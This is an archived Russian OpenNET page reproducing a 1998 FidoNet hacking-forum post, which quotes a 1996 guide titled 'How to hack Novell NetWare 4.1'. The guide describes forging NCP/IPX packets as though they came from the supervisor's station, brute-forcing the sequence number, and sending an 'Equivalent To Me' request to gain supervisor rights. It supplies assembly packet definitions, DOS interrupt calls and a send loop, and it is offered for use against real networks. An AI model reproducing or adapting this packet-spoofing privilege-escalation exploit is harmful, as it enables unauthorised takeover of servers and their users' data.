The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

хак NW 4.1x (security ipx)


<< Предыдущая ИНДЕКС Поиск в статьях src Установить закладку Перейти на закладку Следующая >>
Ключевые слова: security, ipx,  (найти похожие документы)
_ RU.NETHACK (2:5077/15.22) _______________________________________ RU.NETHACK _ From : Anton Korenyako 2:5020/1223.108 18 Feb 98 03:47:00 Subj : хак NW 4.1x ________________________________________________________________________________ Hi, Timur! Ч В Суб Фев 14 1998, в 22:43, Timur Muminov send letta 2 Eugeny Kreewosheyew. TM> 13 Feb 98 00:22, Eugeny Kreewosheyew wrote to Vladislav Myasnyankin: EK>> Вpядли. У Novell один из самых гpамотных алгоpитмов кэшиpования. EK>> Вот NT так пpогнyть - плевое дело, а на Netware дpyгие способы EK>> искать надо. TM> А есть ли способы перехвата пакетов по сети и декодирования паролей TM> для NW 4.** ?? может кто алгоритм кинет шифрования в новелле ?? или TM> хоть что-то для начала ? дальше уж сам как-нить. Может это тебя спасет? === Cut === КАК ВЗЛОМАТЬ NOVELL NETWARE 4.1 ------------------------------- Гусев Игорь и Ильченко Евгений 1996 Содержание Введение...............................................................3 1.Принцип обмена пакетами..............................................4 2.Общая идея взлома....................................................4 3.Как получить права супервизора.......................................5 4.Последствия..........................................................7 Заключение............................................................10 Введение Как вы знаете все может быть сломано и NOVELL NETWARE не является ис- ключением. Однако время взлома чего-нибудь зависит от времени получения информации о этом. Чем больше информации вы найдете, тем проще вам бу- дет взламывать. В этом документе мы хотели немного рассказать о сети NOVELL и о том как ее взломать. 1.Принцип обмена пакетами. Прежде всего, сервер и рабочие станции посылают пакеты друг другу в соответствие со специальным протоколом известным как Netware Core Protocol ( NCP ) основанным на протоколе IPX. Все пакеты подписываются уникальным номером в диапозоне от 0 до 255 хранящемся в одном байте. Это поле известно как Sequence Number. Смотрите на структуру пакета. Структура пакета Поле Число Положение азначение байт в памяти -------------------- Физический заголовок пакета ----------------------- ReceiverAddress 6 Normal Адрес рабочей станции , которая бу- дет получать пакет SenderAddress 6 Normal Адрес рабочей станции , которая по- сылает пакет DataLength 2 High-Low Длина пакета ----------------------- Заголовок протокола IPX ------------------------ CheckSum 2 Normal Контрольная сумма IpxLength 2 High-Low Длина пакета HopCount 1 - Число мостов PacketType 1 - Тип пакета DestNetwork 4 Normal Адрес сети назначения DestNode 6 Normal Адрес станции назначения DestSocket 2 Low-High Сокет программы назначения SourceNetwork 4 Normal Адрес сети источника SourceNode 6 Normal Адрес станции источника SourceSocket 2 Low-High Сокет программы источника ---------------------- Заголовок протокола NCP ------------------------- RequestType 2 Low-High Зависит от запроса SequenceNumber 1 - омер пакета ConectionNumberLow 1 - омер соединения.азначается во время подсоединения станции к сер- веру TaskNumber 1 - омер задачи.Это для рабочей стан- ции наверно. е стоит о нем заботи- ться.Просто поставте 0 или любое значение. ConectionNumberHigh 1 - Всегда 0. FunctionCode 1 - Идентификатор функции ------------------------ Данные протокола NCP ------------------------- - - - Зависит от типа запроса и функции Инициатором является станция. Она посылает пакет с запросом и ждет от- вета. Сервер получая запрос, проверяет адрес станции , адрес сети , со- кет , номер соединения и sequence number. Если что-нибудь не в порядке сервер отказывается выполнять запрашиваемую операцию и посылать ответ. 2.Общая идея взлома. Как было сказано выше сервер проверяет все пакеты, которые он полу- чает. о если сформировать пакет как это делает другая станция, поста- вить ее адрес, номер соединения и т.д. и послать его в сеть, то сервер никогда не узнает чей запрос он выполняет. Основная трудность - sequence number, потому что другие поля могут быть получены с помощью обычных функций. Чтобы быть уверенным, что сервер выполнил операцию нужно пос- лать тот же самый пакет 255 раз с разными sequens numbers. 3.Как получить права супервизора Вы можете получить права супервизора просто став его эквиваленитом. Есть функция известная как EQUEVALENT TO ME , которую следует посылать от имени супервизора. Смотрите на структуру пакета. Структура пакета с фукцией EQUEVALENT TO ME --------------------- Заголовок физического пакета --------------------- RecAdr db 00,20h,0afh,4fh,5fh,0ah SndAdr db 00,20h,0afh,089h,022h,0afh DataLength db 01,68h ------------------------- Заголовок IPX пакета ------------------------- dw 0ffffh IpxLength db 01,67h db 0 db 17 DestNetwork db ?,?,?,? DestNode db ?,?,?,?,?,? DestSocket db 04,51h SourceNetWork db 00,00,01,02 SourceNode db ?,?,?,?,?,? SourceSocket db 40h,03 ------------------------ Заголовок пакета NCP ------------------------- db 22h,22h SequenceNumber db 48 ConnectionNumberLow db 24 db 4 db 0 db 68h db 2 -------------------------- Данные пакета NCP -------------------------- dd -1 dd 514 S1_2: dd offset S1_1 - offset S1_2-4 dd 0 dd 9 dd 0 dd 0 dd 0 S1ID db 67h,02h,00,06h dd 1 dd 5 dd 34 db 'E',0,'q',0,'u',0,'i',0,'v',0,'a',0,'l',0,'e',0 db 'n',0,'t',0,' ',0,'T',0,'o',0,' ',0,'M',0,'e',0 dd 0 dd 1 dd 26 db '3',0,'1',0,'0',0,'5',0,'.',0,'I',0,'N',0,'F',0 db '.',0,'T',0,'S',0,'U',0 S1_1: Чтобы получить адрес, сеть, сокет, ID, номер соединения используй- те след. функции. Получить номер соединения ah=E3h ds:si=> ConReq dw 2 - длина db 16h - подфункция db ? - номер соединения es:di=> ConRep dw 62 - длина db 4 dup (?) dw ? - тип пользователя db 56 duo (?) - имя пользователя int 21h Вы можете послать пакет через IPX драйвер (функция 9), однако в этом случае вы не имеете доступа к физическому заголовку пакета. Мы полагаем, что сервер не проверяет адрес отправителя там. Вы также можете послать через LSL драйвер, но это слишком сложно. Самый простой способ - послать через ODIPKT драйвер ( функция 4 ). Послать пакет через Odipkt ah=4 cx=длина ds:si=>пакет int 60h C=1 если ошибка Процедура посылки пакетов Send proc mov SequenceNumber,0 @@1: push ds push es mov ah,4 mov cx,Length mov si,offset Packet int 60h pop es pop ds jc @@1 mov cx,1000 loop $-2 dec SequenceNumber jne @@1 ret Send endp 4.Последствия. После ответа на пакет сервер ждет следующего с увеличенным на 1 sequence number"ом. Если вы попытаетесь вставить ваш пакет в работу меж- ду сервером и станцией, последняя повиснет. Этого можно избежать посыл- кой еще 255*256 пакетов. Заключение Если вы реализуете программу по этому документу у вас будут права супервизора. Мы надеемся, что вы не будете вредить таким же пользовате- лям, каким вы до этого были. Copyright 1995. by dISEr&_Igor_ (http://www.tsu.tomsk.su/~eugene/) Все комментарии, предожения, вопросы шлите по адресу : eugene@info.tsu.tomsk.su === Cut === C Ya L8ah GreenDrug greendrug@bfg.ml.org --- GoldED 2.51.A0901+ * Origin: (2:5020/1223.108)

<< Предыдущая ИНДЕКС Поиск в статьях src Установить закладку Перейти на закладку Следующая >>

 Добавить комментарий
Имя:
E-Mail:
Заголовок:
Текст:




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру